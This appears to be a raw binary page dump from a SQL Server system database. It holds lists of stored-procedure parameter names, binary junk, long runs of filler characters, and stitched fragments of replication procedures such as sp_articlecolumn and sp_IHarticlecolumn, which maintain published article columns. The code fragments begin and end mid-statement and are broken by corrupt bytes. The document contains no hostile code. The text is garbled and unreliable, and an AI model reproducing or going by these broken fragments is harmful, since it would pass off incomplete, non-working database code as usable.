$TYPE_NAME6m&@is_member6m&@loginname6m&@operation6k!$@password6k# @unload6k$2@subscriptionlsn6k%0@publisher_type6k&:@subscriptionstreams6k'2@subscriber_type6M/&@publisher6M/"@enabled6=aF*@publication6=aF@artid6a&@publisher6a,@publisher_db6a*@publication6a@artid6a"@article6a(@dest_table6a(@dest_owner6,,@publisher_id6,,@publisher_db6,@data6,@1data6,@2data6,@3data6,@4data6,@5data6,	@6data6,
@7data6,@8data6,@9data6,
 @10data6, @11data6, @12data6, @13data6, @14data6, @15data6, @16data6, @17data6, @18data6, @19data6, @20data6, @21data6, @22data6, @23data6, @24data6, @25data6, @26data6E4@parent_tracer_id6E$@agent_id6Z4@capture_instance6Z0@low_water_mark6Z&@threshold6/m[$@job_type6/m[$@maxtrans6/m[$@maxscans6/m[(@continuous6/m[2@pollinginterval6/m[&@retention6/m[&@threshold6[a*@publication6[a"@article6[a8@ignore_distributor6[a$@reserved6[aF@force_invalidate_snapshot6[aF@force_reinit_subscription6[a>@ignore_merge_metadata6LfZ&@temptable6LfZ&@tablenick6LfZ"@rowguid6D&@tablenick6D"@rowguid6D$@metatype6W+$@viewname6_&@tablenick6_.@rowguid_array6_8@metadatatype_array6_<@oldlineage_len_array6_4@oldlineage_array6_4@generation_array6_<@newlineage_len_array6_4@newlineage_array6_	@pubid6_
*@rowsdeleted6_D@allarticlesareupdateable6j8V@pubid6j8V4@last_sync_failed6P,@etiTableName!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!jDX


L

~R.n<


r
T
,

			^	X2X |2		V
.Flpb:\6d>jfH*`@ `@  8Djt@,nH"Z0rJl8 6p|X2pB
`D{)v.YZ6Ǒ*@publication6Ǒ(@subscriber6
.elapsed_avg_ms6.elapsed_max_ms6(ended_count6	Nenqueue_failed_duplicate_count6Denqueue_failed_full_count6.enqueued_count68failed_giveup_count64failed_lock_count66failed_other_count6,queue_max_len6,started_count6&@object_id6V&@publisher6H.@offloadserver6"@optname60@packageversion6&@publisher6.@versionsmatch6F(@level0name6F(@level0type6F(@level1name6F(@level1type6F(@level2name6F(@level2type6F@name6Fname6F objname6F objtype6Fvalue6(create_date6
"dll_name6
,is_ms_shipped6*is_published68is_schema_published6	(modify_date6name6$object_id62parent_object_id6*principal_id6$schema_id6type6$type_desc6<0@parameter_name6<4@procedure_schema6high6low6name6number6status6type6*@publication6&@publisher6$@reserved6S(parent_type6Stype6S$type_name6.q&@publisher6_8"@autofix6_8 @dbname69$@loginame6Ǒ$@reserved6Ǒ&@publisher6A(@subscriber6A.@subscriber_db6A@artid6*@publication6"@article6(@subscriber60@destination_db66@for_schema_change6*@distributor6&@distribdb6&@publisher6	0@publisher_type6
H@ignore_distributor_failure6:@invalidate_snapshot~K6~K@tabid6~K@colid6~K.@publishertype6~KJ@userdefinedtypestobasetypes6~K(@xmltontext6~KN@maxtypestomatchingnonmaxtypes6~K,@maptimestamp6~KF@newdatetimetypestostrings6~K	F@hierarchyidtovarbinarymax6~K
Z@largeuserdefinedtypestovarbinarymax6~KH@spatialtypestovarbinarymax6R	*@publication6R	(@subscriber6R	.@subscriber_db6R	D@subscriber_security_mode6R	4@subscriber_login6R	:@subscriber_password6R	&@job_login6R	,@job_password6R		$@job_name6R	
0@frequency_type6R	8@frequency_interval6R	J@frequency_relative_interval6R	
J@frequency_recurrence_factor6R	4@frequency_subday6R	F@frequency_subday_interval6R	D@active_start_time_of_day6R	@@active_end_time_of_day6R	6@active_start_date6R	2@active_end_date6R	4@dts_package_name6R	<@dts_package_password6R	<@dts_package_location6R	:@enabled_for_syncmgr6R	>@distribution_job_name6R	&@publisher6R	0@publisher_type6R	:@subscriber_provider6R	8@subscriber_datasrc6R	:@subscriber_location6R	H@subscriber_provider_string6R	8@subscriber_catalog6͈@name6͈@time610@primary_server614@primary_database61B@backup_source_directory61L@backup_destination_directory61>@file_retention_period61L@monitor_server_security_mode61<@monitor_server_login61B@monitor_server_password6!4@source_object_id6!*@ddl_command6!"@ddl_lsn6!$@ddl_time6!(@commit_lsn6!4@source_column_id6!4@fis_alter_column6!0@fis_drop_table6V@pubid6V*@schema_text6V*@schema_type60@parent_rowguid62@parent_nickname62@dest_common_gen6N@p1*@distributor6&@distribdb6&@publisher6	0@publisher_type6
H@ignore_distributor_failure6:@invalidate_snapshot~K6~K@tabid6~K@colid6~K.@publishertype6~KJ@userdefinedtypestobasetypes6~K(@xmltontext6~KN@maxtypestomatchingnonmaxtypes6~K,@maptimestamp6~KF@newdatetimetypestostrings6~K	F@hierarchyidtovarbinarymax6~K
Z@largeuserdefinedtypestovarbinarymax6~KH@spatialtypestovarbinarymax6R	*@publication6R	(@subscriber6R	.@s	
@

,
r		RPZ2j2dJx2|	
Fj:
X	>		jL2x^:x@dD*nFBrr4&
xJBt<p<pz
R

$b.6
,
`@qm)
wN0~s6 g*@distributor6 g @has_ts6 g*@publication6 g&@publisher6 g,@publisher_db6*@publication6&@publisher60@publisher_type6(@subscriber6.@subscriber_db6 @number6H.,@group_number6H.0@procedure_name6H.4@procedure_schema6H.4@procedure_schema6X4*@column_name6X4(@table_name6X4,@table_schema6name6(pdw_node_id6"priority6&process_id6&start_time6state6$thread_id6	Jtotal_processor_elapsed_time6
@total_user_elapsed_time6(wait_reason67 ,@identity_col67  @indent67 @objid67 "@op_type67  @ts_col6(database_id6*host_address6$is_active6name6*principal_id6"xml_data60e @action60e*@publication60e&@publisher62@connect_timeout6@login6$@password6&@publisher6.@security_mode6:"@article6:*@is_snapshot6:*@publication6:&@publisher6:0@publisher_type6 g&@has_ident6 g
&@trig_only6 g&@usesqlclr6;*@publication6;"@article6;$@procname6;@alter6@artid6.@publishertype6&@publisher6&@usesqlclr6&@inDDLrepl6&@publisher6 @schema6&@operation6
Gh@name6
Gh@time6ܻ,@alert_job_id6(@event_type66@old_database_name66@new_database_name7674@capture_instance6Is@pubid6Is"@article6Is.@source_object6Is@type6Is*@description6Is @status6Is<@pre_creation_command6Is2@creation_script6Is	,@source_owner6Is
6@destination_owner6Is.@schema_option6Is8@destination_object6Is
0@qualified_name6Is*@publication6Is0@snapshot_ready6IsF@force_invalidate_snapshot6Is4@processing_order6ch>@qualified_object_name6ch@artid6ch*@range_begin6ch&@range_end6ch4@next_range_begin6ch0@next_range_end6ch,@ranges_given6ch:@low_range_inclusive6@*@publication6m|@pubid6m|0@AlterTableOnly6m|.@schemaversion60@pubid60@artid6@name6@id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!jDdP(zV8tJ0	X	6	|	
		2
	xZ:(F\8l@
V*
vP&l@
>b
8l


~
X



hHJ`<(x?v(8            end -- if (@allow_sync_tran = 1 or @allow_queued_tran = 1)
        end --if (@operation = 'drop')
    end --if @column is not null
    --
    -- @ignore_distributor is set to 1 when removing replication forcefully. In that
    -- case, no need to check or reinit
    --
    if @ignore_distributor = 0
    begin
        -- Check if there are snapshot or subscriptions and raiserror if needed.
        EXECUTE @retcode  = sys.sp_MSreinit_article
            @publication = @publication, 
            @article = @article,
            @need_new_snapshot = 1,
            @need_reinit_subscription = 1
            ,@force_invalidate_snapshot = @force_invalidate_snapshot    /* Force invalidate existing snapshot */
            ,@force_reinit_subscription = @force_reinit_subscription    /* Force reinit subscription */
            ,@check_only = 1
        IF @@ERROR <> 0 OR @retcode <> 0
            return (1)
    end

    begin tran
    save TRANSACTION articlecolumn

    /*
    ** If no columns are specified, or if NULL is specified, set all
    ** the bits in the 'columns' column so all columns will be included.
    */

    DECLARE @columnid smallint   /* Columnid-1 = bit to set */
	if @column IS NULL and @change_active = 2
	begin
       DECLARE hCartcolumn CURSOR LOCAL FAST_FORWARD FOR
            SELECT colid FROM #tran_columnstable 
	end
    else IF @column IS NULL 
    BEGIN
       DECLARE hCartcolumn CURSOR LOCAL FAST_FORWARD FOR
            SELECT column_id FROM sys.columns where
                object_id = @objid
    END
    ELSE
    BEGIN
       DECLARE hCartcolumn CURSOR LOCAL FAST_FORWARD FOR 
            SELECT column_id
    	    FROM sys.columns
        	WHERE object_id = @objid AND name = @column
    END

    OPEN hCartcolumn
    FETCH hCartcolumn INTO @columnid
    if(@@fetch_status = 0 and @change_active = 2) -- post article column partition info for schema replication
    begin
        exec sys.sp_replpostcmd 0, @objid, @artid, 51, @objid
    end

    WHILE (@@fetch_status <> -1)
    BEGIN

        /*
        ** Get the column id for this column.  We'll use the column id
        ** to determine the bit in the 'columns' column.  The bit we want
        ** is equal to the columnid - 1.
        */
        SELECT @column = col.column_id
        			,@is_udt = 	case typ.system_type_id when 240 then 1 else 0 end
					,@is_xml =	case typ.name when N'xml' then 1 else 0 end
					,@is_max = case when typ.name in (N'varchar', N'nvarchar', N'varbinary') and  col.max_length = -1 then 1 else 0 end
                    ,@is_filestream = col.is_filestream
        FROM sys.columns col
		        join sys.types typ on typ.user_type_id = col.system_type_id or (typ.system_type_id = 240 and typ.user_type_id = col.user_type_id)
        WHERE col.object_id = @objid AND col.column_id = @columnid

						
        IF ((@@error <> 0) OR (@columnid IS NULL))
        BEGIN
            RAISERROR (14020, 16, -1)
            goto UNDO
        END

        IF (@is_filestream = 1 AND @sync_method in (5,6) and @operation in (N'add', N'alter'))
        BEGIN
            RAISERROR (21862, 16, -1)
            goto UNDO
        END

        --
        -- add/drop the column to partition 
        --
        if (@status & 32) > 0 and 
            exists (select * from sys.columns WHERE object_id = @objid and system_type_id = 189 and column_id = @columnid)
        begin
            --
            -- adding timestamp column as timestamp on subscribers
            -- do not include in partition when adding and set explicit column name list
            -- just unmark status when dropping
            --
            update sysarticles set 
                status = case 
                    when (@operation = N'add') then (status | 8)  -- add
                    when (@operation = N'drop') then (status & ~32)  -- drop
                    else status end
            where artid = @artid
            if @@error <> 0
                goto UNDO

            --
            -- Always try to remove any timestamp columns if status & 32 != 0
            --
            delete dbo.sysarticlecolumns 
             where artid = @artid 
               and colid = @columnid
            if @@error <> 0
                goto UNDO

            --
            -- mark for synctran proc refresh
            --
            select @fSynctranColChanged = 1         
        end
        else
        begin -- not replicating timestamp as timestamp
            IF @operation = N'add'
            begin
                if not exists (select artid, colid from dbo.sysarticlecolumns where artid = @artid and colid = @columnid)
                begin
                    insert dbo.sysarticlecolumns (artid, colid, is_udt, is_xml, is_max) values (@artid, @columnid, @is_udt, @is_xml, @is_max)
                    select @fSynctranColChanged = 1
                end
            end
            else IF @operation = N'drop'
            begin
                if exists (select artid, colid from dbo.sysarticlecolumns where artid = @artid and colid = @columnid)
                begin
						
					/* Update column published status  - we must call this before deleting from dbo.sysarticlecolumns */
                    /* see bug 335014 */  
					EXECUTE @retcode = sys.sp_MSarticlecol @artid, @columnid,
											N'publish', @operation
					IF (@@error <> 0 OR @retcode <> 0)
					BEGIN
						RAISERROR (14021, 16, -1)
						goto UNDO
					END	
                    delete from dbo.sysarticlecolumns where artid = @artid and colid = @columnid
                    select @fSynctranColChanged = 1     
                  
                end
            end
            else IF @operation = N'alter'
            begin
                if exists (select artid, colid from dbo.sysarticlecolumns where artid = @artid and colid = @columnid)
                begin
                    select @fSynctranColChanged = 1
                end
            end

            IF @@error <> 0
            BEGIN
                RAISERROR (14021, 16, -1)
                goto UNDO
            END
            /* 
            ** if the status has changed, call sp_MSarticlecol to update the publication
            ** status as appropriate.
            */
            if(@fSynctranColChanged = 1 and @operation <> N'drop')
            begin
                /* Update column published status */
                EXECUTE @retcode = sys.sp_MSarticlecol @artid, @columnid,
                                        N'publish', @operation
                IF (@@error <> 0 OR @retcode <> 0)
                BEGIN
                    RAISERROR (14021, 16, -1)
                    goto UNDO
                END
            end
        end -- not replicating timestamp as timestamp

        -- fetch the next column
        FETCH hCartcolumn INTO @columnid

    END -- end of while block

	--once we are here, article partition has been updated up to current point, now check on UDT dependency
	--exclude DDL case as we need to check in DDL trigger for adding check constraint anyway
	if (@change_active != 2) and 
		(@schema_option & 0x000000B000000020 <> 0) and
		exists (select * from sys.columns where object_id = @objid and system_type_id = 240)
	begin
		if(sys.fn_MSrepl_dependUDT(@objid, @schema_option, @artid) = 1)
		begin
			raiserror (21839, 16, 1, @article)
			goto UNDO
		end
	end

    -------------------------------------------------------------------
    -- active article fixups
    -------------------------------------------------------------------

    if @change_active<> 0 and @fSynctranColChanged = 1 or
        -- Besides schema change, we automatically refresh article view if there are 
        -- subscriptions. We don't refresh the article view otherwise to avoid the view
        -- being dropped and recreated when adding columns into t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<+y|(8he partition during
        -- the creation of the article.
        exists (select * from syssubscriptions where artid = @artid and
            srvid >= 0)
    BEGIN
        -----------------------------------
        -- regenerate the article view  
        -----------------------------------
        -- Only invoke sp_articleview if not manual view and not manual filter
        if ( @art_type & 0x4 <> 4 and @art_type & 0x2 <> 2 )
        begin 
            select @view_name = object_name( @sync_objid )

            exec @retcode = sys.sp_articleview @publication = @publication, 
                                            @article = @article,
                                            @view_name = @view_name,
                                            @filter_clause = @filter_clause,
                                            @change_active = @change_active,
                                            @force_invalidate_snapshot = @force_invalidate_snapshot,
                                            @force_reinit_subscription = @force_reinit_subscription,
                                            @refreshsynctranprocs = 0,
                                            @internal = @internal
            IF @@ERROR <> 0 OR @retcode <> 0
                    goto UNDO
        end
    END
    --
    -- If publication is enabled for Synctran and sprocs are auto-generated.
    -- Do the synctran proc generation after article view is regenerated
    --
    if  @autogen_sync_procs_id = 1 and 
    (@refresh_synctran_procs = 1 and @fSynctranColChanged = 1 or 
    @refresh_synctran_procs = 2  -- this is to special case for drop timestamp col in queued article, since @fSynctranColChanged won't be set
    )
    begin
        exec @retcode = sys.sp_articlesynctranprocs @publication, @article, @autogen_sync_procs_id, 0
-- UNDO change to 1 when nvarchar(max) support on xml data is in
--        exec @retcode = sys.sp_articlesynctranprocs @publication, @article, @autogen_sync_procs_id, 1
        IF @@ERROR <> 0 OR @retcode <> 0
            goto UNDO
    end

    -- schema replication used @change_active = 2 to prepare, don't invalidate or reinitialize
    if @change_active <> 2  and
        -- @ignore_distributor is set to 1 when removing replication forcefully. In that
        -- case, no need to check or reinit
        @ignore_distributor = 0
    begin
        -- Have to call this stored procedure to invalidate existing snapshot or reint
        -- subscriptions if needed
        EXECUTE @retcode  = sys.sp_MSreinit_article
            @publication = @publication, 
            @article = @article,
            @need_new_snapshot = 1,
            @need_reinit_subscription = 1
            ,@force_invalidate_snapshot = @force_invalidate_snapshot    /* Force invalidate existing snapshot */
            ,@force_reinit_subscription = @force_reinit_subscription    /* Force reinit subscription */
        IF @@ERROR <> 0 OR @retcode <> 0
            GOTO UNDO
    end

    /*
    ** Force the article cache to be refreshed with the new definition.
    ** Nothing to flush if brute force cleanup.
    */
    if ( @ignore_distributor = 0 )
        EXECUTE sys.sp_replflush


    if ( @allow_initialize_from_backup = 1)
    begin
        exec @retcode = sys.sp_MSincrementpublicationminautonosynclsn @publication = @publication
        if @@error <> 0 or @retcode <> 0 begin select @retcode = 1 goto UNDO end
    end


    COMMIT TRANSACTION
END
return (0)
UNDO:
    if @@trancount > 0
    begin
        ROLLBACK TRANSACTION articlecolumn
        commit tran
    end
    RETURN (1)
SS
        RETURN @retcode

    SELECT @distributor = RTRIM(@distributor)

    -- Get distribution agent properties 
    SELECT @distproc =	QUOTENAME(@distributor) + '.' +
    					QUOTENAME(@distributiondb) +
						'.dbo.sp_MSenumdistributionagentproperties'

    SELECT @dbname = db_name()
    
	INSERT INTO #dist_agent_properties
	EXEC @retcode = @distproc	@publisher		= @publisher, 
								@publisher_db	= @dbname, 
								@publication	= @orig_publication,
								@show_security	= 1
	
    /*
    ** Get subscriptions
    */
	SELECT	hs.subscriber as [subscriber],
			hs.publication as [publication],
			hs.article as [article],
			hs.destination_db as [destination database],
			-- distributionstatus	= 0 means that the subscription has been deactivated.  
			case
				when hs.status = 2 and ap.status = 0 then 0
				else hs.status
			end as [subscription status],
			hs.sync_type as [synchronization type],
			hs.subscription_type as [subscription type],
			hs.full_subscription as [full subscription],
			hs.subscription_name as [subscription name],
			-- SyncTran
			hs.update_mode as [update mode],
			ap.job_id as [distribution job id],
			hs.loopback_detection as [loopback_detection],
			ap.offload_enabled as [offload_enabled],
			ap.offload_server as [offload_server],
			ap.dts_package_name as [dts_package_name],
			ap.dts_package_location as [dts_package_location],
			ap.subscriber_security_mode as [subscriber_security_mode],
			ap.subscriber_login as [subscriber_login],
			'**********' as [subscriber_password],
			ap.job_login as [job_login],
			'**********' as [job_password],
			ap.distrib_agent_name,
			ap.subscriber_type,
			ap.subscriber_provider,
			ap.subscriber_datasource,
			ap.subscriber_providerstring,
			ap.subscriber_location,
			ap.subscriber_catalog
	FROM	#helpsubscription hs 
  		LEFT OUTER JOIN #dist_agent_properties ap
    		ON	hs.distribution_jobid = ap.job_id  
	ORDER BY subscriber, publication, article
	
	DROP TABLE #dist_agent_properties
END
--/upd_cmd is using proc, need to have a custom_script to refresh them
            raiserror(21814, 16, 1, @pubname, @artname)		
            return 1
        end
    end 
    --
    -- all done
    --
    return 0
end
`S#`SAND M1.index_name = M2.index_name

	-- If the counts don't match, populate result table
	if @cntcache <> @cntmatch OR @cntcache <> @cntactual
	BEGIN
		-- Determine which index columns have been dropped
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, column_name, index_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N'Index column dropped'
		FROM #MATCHES2 
		WHERE name NOT IN (SELECT name from #MATCHES1)

		-- Determine which index columns have been added
		INSERT INTO #RESULTSET
		SELECT @publication, @article, @owner, @tablename, column_name, index_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N'Index column added'
		FROM #MATCHES1
		WHERE name NOT IN (SELECT name from #MATCHES2)
	END

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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lecolumn
(
	@publication				sysname,
	@article					sysname,
	@column						sysname = NULL,
	@operation					nvarchar(4) = N'add',	-- Add or delete a column 
	@refresh_synctran_procs		bit = 1,
	@ignore_distributor			bit = 0,
	@change_active				int = 0,
	@force_invalidate_snapshot	bit = 0,
	@force_reinit_subscription	bit = 0,
	@publisher					sysname,
	@publisher_type				sysname,
	@publisher_dbms				sysname,
	@publisher_version			sysname
) 
AS
BEGIN
    declare @article_id			int
    declare @table_id			int
    declare	@publication_type	int
    declare @dest_type_name		sysname
    declare @dest_type			sysname
    declare @dest_length		bigint
    declare @dest_prec			int
    declare @dest_scale			int
    declare @dest_nullable		bit
    declare @dataloss			bit
    declare @src_type			sysname
    declare @src_length			bigint
    declare @src_prec			int
    declare @src_scale			int
    declare @src_nullable       bit
    declare @column_ordinal		int
    declare @publishercolumn_id	int
    declare @retcode			int
    declare @count				int
    declare @artcolumn			sysname
    declare @ispk 				int
	declare @columnid			int
	declare @publisher_id		int

    DECLARE @coldatamap TABLE
    (
        column_name     sysname,
        column_ordinal  int,
        dest_datatype   sysname,
        dest_length     bigint,
        dest_precision  bigint,
        dest_scale      int,
        dest_nullable   bit,
        dataloss        bit
    )

    SET NOCOUNT ON  

	/*
	** Security Check
	*/
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@ERROR <> 0 or @retcode <> 0
		return(1)

    /*
    ** Parameter Check:  @publication.
    ** Make sure that the publication exists and that it conforms to the
    ** rules for identifiers.
    */
    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, N'@publication', 'sp_IHarticlecolumn')
            RETURN (1)
        END

    EXECUTE @retcode = dbo.sp_validname @publication

    IF @retcode <> 0
            RETURN (1)

    /*
    ** Parameter Check:  @article.
    ** Check to make sure that the article exists in the publication.
    */

    IF @article IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, N'@article', 'sp_IHarticlecolumn')
        RETURN (1)
    END

    -- Get table ID to improve perf of other calls
    SELECT	@article_id			= a.article_id,
    		@table_id			= a.table_id,
    		@publication_type	= p.publication_type,
    		@publisher_id		= a.publisher_id
    FROM	IHarticles a,
    		MSpublications p,
    		master..sysservers s
    WHERE	a.name				= @article
      AND	p.publication		= @publication
      AND	a.publication_id	= p.publication_id
      AND	a.publisher_id		= s.srvid
      AND	UPPER(s.srvname collate database_default)	= UPPER(@publisher) collate database_default

    IF @table_id IS NULL or @article_id IS NULL
    BEGIN
        RAISERROR(21615, 16, -1, @article)
        RETURN (1)
    END

    /*
    ** Parameter Check:  @operation.
    ** The operation can be either 'add' or 'drop'.
    */
    IF LOWER(@operation) NOT IN (N'add', N'drop')
    BEGIN
        RAISERROR (14019, 16, -1)
        RETURN (1)
    END

    --
    -- Check if there are snapshot or subscriptions and raiserror if needed.
    --
    EXECUTE @retcode  = sys.sp_MSreinit_article @publication                = @publication, 
                                                @article                    = @article,
                                                @need_new_snapshot          = 1,
                                                @need_reinit_subscription   = 1,
                                                @force_invalidate_snapshot	= @force_invalidate_snapshot,
                                                @force_reinit_subscription	= @force_reinit_subscription,
                                                @check_only					= 1,
                                                @publisher					= @publisher,
                                                @publisher_type				= @publisher_type
            
    IF @@ERROR <> 0 OR @retcode <> 0
        return (1)

    --
    -- Column must exist
    --
	IF @column is NOT NULL
    BEGIN
        IF NOT EXISTS
        (
        	SELECT	* 
			FROM	IHpublishercolumns 
			WHERE	table_id = @table_id
			  AND	name = @column
		)
        BEGIN
            RAISERROR(21616, 16, -1, @column, @article)
            RETURN (1)
        END

        IF LOWER(@operation) = N'drop'
        BEGIN
            Declare @isset int
    
            -- Determine column id of column
            SELECT	@columnid = publishercolumn_id 
            FROM	IHcolumns
            WHERE	name = @column
              AND	article_id = @article_id
            
            IF @@error <> 0 OR @columnid IS NULL
            BEGIN
                raiserror(21209, 16, -1, @column)
                return (1)
            END

			-- Primary key column may not be dropped for TRAN publication
			IF @publication_type = 0
			BEGIN
				exec @isset = sys.fn_IHiscolpk @columnid

				if NOT @isset = 0
				BEGIN
					raiserror(21250, 16, -1, @column)
					return (1)
				END
			END
        END -- drop
    
        -- @ignore_distributor is set to 1 when removing replication forcefully. In that
        -- case, no need to check or reinit
            -- Check if there are snapshot or subscriptions and raiserror if needed.
        EXECUTE @retcode  = sys.sp_MSreinit_article
							@publication				= @publication,
							@article					= @article,
							@need_new_snapshot			= 1,
							@need_reinit_subscription	= 1,
							@force_invalidate_snapshot	= @force_invalidate_snapshot,
							@force_reinit_subscription	= @force_reinit_subscription,
							@check_only					= 1,
							@publisher					= @publisher,
							@publisher_type				= @publisher_type

        IF @@ERROR <> 0 OR @retcode <> 0
            return (1)
    END
    
    -- Get default mappings in one shot to improve perf
    -- The cost to get all columns is nearly the same as getting just one.
    -- Error on the side of getting all the columns because this will be a big win in many cases
    IF (@publisher_type LIKE N'ORACLE%')
    BEGIN
        INSERT INTO @coldatamap (column_name, column_ordinal, dest_datatype, dest_length, dest_precision, dest_scale, dest_nullable, dataloss)
        SELECT column_name, column_ordinal, dest_datatype, dest_length, dest_precision, dest_scale, dest_nullable, dataloss
        FROM   sys.fn_ORAenumarticlecolumninfo(@publisher_id, @table_id, @article_id, @publisher_dbms, @publisher_version, 1) colinfo
        ORDER BY colinfo.column_ordinal
    END
    -- FUTURE: Other types should use a similar method
    begin tran
    save TRANSACTION articlecolumn

    IF @column IS NULL
    BEGIN
		DECLARE artcolumn CURSOR LOCAL FAST_FORWARD FOR
		SELECT	ihpc.name,
                ihpc.publishercolumn_id,
                ihpc.column_ordinal,
                ihpc.type,
                cdm.dest_datatype,
                cdm.dest_length,
                cdm.dest_precision,
                cdm.dest_scale,
                cdm.dest_nullable,
                cdm.dataloss
		FROM	IHpublishercolumns ihpc LEFT OUTER JOIN @coldatamap cdm
          ON    ihpc.column_ordinal = cdm.column_ordinal
		WHERE	ihpc.table_id = @table_id
--          AND   ihpc.column_ordinal = cdm.column_ordinal
		ORDER BY ihpc.column_ordinal
    END
    ELSE
    BEGIN
        DECLARE artcolumn CURSOR LOCAL FAST_FORWARD FOR
        SELECT	ihpc.name,
                ihpc.publishercolumn_id,
                ihpc.column_ordinal,
                ihpc.type,
                cdm.dest_datatype,
                cdm.dest_length,
                cdm.dest_precision,
                cdm.dest_scale,
                cdm.dest_nullable,
                cdm.dataloss
     !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<6{YF}9   FROM	IHpublishercolumns ihpc,
                @coldatamap cdm
        WHERE	ihpc.table_id = @table_id
          AND   ihpc.column_ordinal = cdm.column_ordinal
          AND   ihpc.name = @column
        ORDER BY ihpc.column_ordinal
    END

    OPEN artcolumn

    WHILE (1=1)
    BEGIN
        FETCH   artcolumn
        INTO    @artcolumn,
                @publishercolumn_id,
                @column_ordinal,
                @src_type,
                @dest_type_name,
                @dest_length,
                @dest_prec,
                @dest_scale,
                @dest_nullable,
                @dataloss

        IF @@fetch_status <> 0
            BREAK

        IF LOWER(@operation) = 'add'
        BEGIN       
            -- Check if this column is already published, if it is silently ignore it
            IF EXISTS
            (
				SELECT	*
				FROM	IHcolumns
				WHERE	article_id = @article_id
				  AND   name = @artcolumn
			)
            BEGIN
                CONTINUE
            END

            -- Check if data type is publishable
			IF (sys.fn_MSrepl_checktype(@src_type, @publisher_dbms, @publisher_version) = 0)
			BEGIN
				RAISERROR(21669, 10, -1, @artcolumn, @src_type)
				CONTINUE
			END

			-- Get core type (necessary due to varchar(max) cases)
			IF UPPER(RIGHT(@dest_type_name, 5)) = N'(MAX)'
			BEGIN
				SELECT @dest_type_name = LEFT(@dest_type_name, LEN(@dest_type_name) - 5)
				SELECT @dest_length = -1
			END

			-- Get systype id for destination data type
			SELECT	@dest_type = type_id(@dest_type_name)
			
			IF @dest_type IS NULL
			BEGIN
	    		RAISERROR(21779, 16, -1, @src_type)
			
				IF @@trancount > 0
				BEGIN
					ROLLBACK TRANSACTION articlecolumn
					COMMIT TRAN
				END
				RETURN (1)
			END
    
            -- Insert the column to mark it as being published for this article
            INSERT IHcolumns
            (
				name,
				publishercolumn_id,
				article_id,
				column_ordinal,
				mapped_type,
				mapped_length,
				mapped_prec,
				mapped_scale,
				mapped_nullable
			)
            VALUES
            (
				@artcolumn,
				@publishercolumn_id,
				@article_id,
				@column_ordinal,
				@dest_type,
				@dest_length,
				@dest_prec,
				@dest_scale,
				@dest_nullable
			)
    
            IF @@ERROR <> 0
            BEGIN
                if @@trancount > 0
                begin
                    ROLLBACK TRANSACTION articlecolumn
                    commit tran
                end
                RETURN (1)
            END
        END
        ELSE
        BEGIN -- operation is 'delete'
			-- Error if column to drop is a primary key on a TRAN pub
			IF @publication_type = 0
			BEGIN
				EXEC @ispk = sys.fn_IHiscolpk @publishercolumn_id
				IF @ispk = 1
				BEGIN
					RAISERROR (21250, 16, -1, @column)
					IF @@trancount > 0
					BEGIN
						ROLLBACK TRANSACTION articlecolumn
						COMMIT TRAN
					END

					RETURN (1)
				END
			END
            
            -- Remove the column from the article
            DELETE FROM IHcolumns
            WHERE article_id = @article_id
            AND   name = @artcolumn
            
            IF @@ERROR <> 0
            BEGIN
                if @@trancount > 0
                begin
                    ROLLBACK TRANSACTION articlecolumn
                    commit tran
                end
                RETURN (1)
            END

        END
    END -- WHILE
    
    -- Update distributor timestamp to reflect change in meta data	
	EXEC @retcode = sys.sp_IHreplflush	@publisher

	IF @retcode != 0 OR @@ERROR != 0
    BEGIN
        if @@trancount > 0
        begin
            ROLLBACK TRANSACTION articlecolumn
            commit tran
        end
        RETURN (1)
    END

    -- Set publisher_status to 0 to indicate
    -- that a call to sp_articleview is needed
    -- to complete the article definition.
    UPDATE	dbo.IHarticles
    SET		publisher_status	= 0
    WHERE	article_id			= @article_id
    AND    	table_id			= @table_id

    IF @@ERROR <> 0
    BEGIN
        if @@trancount > 0
        begin
            ROLLBACK TRANSACTION articlecolumn
            commit tran
        end
        RETURN (1)
    END

    -- Have to call this stored procedure to invalidate existing snapshot or reint
    -- subscriptions if needed
    EXECUTE @retcode  = sys.sp_MSreinit_article
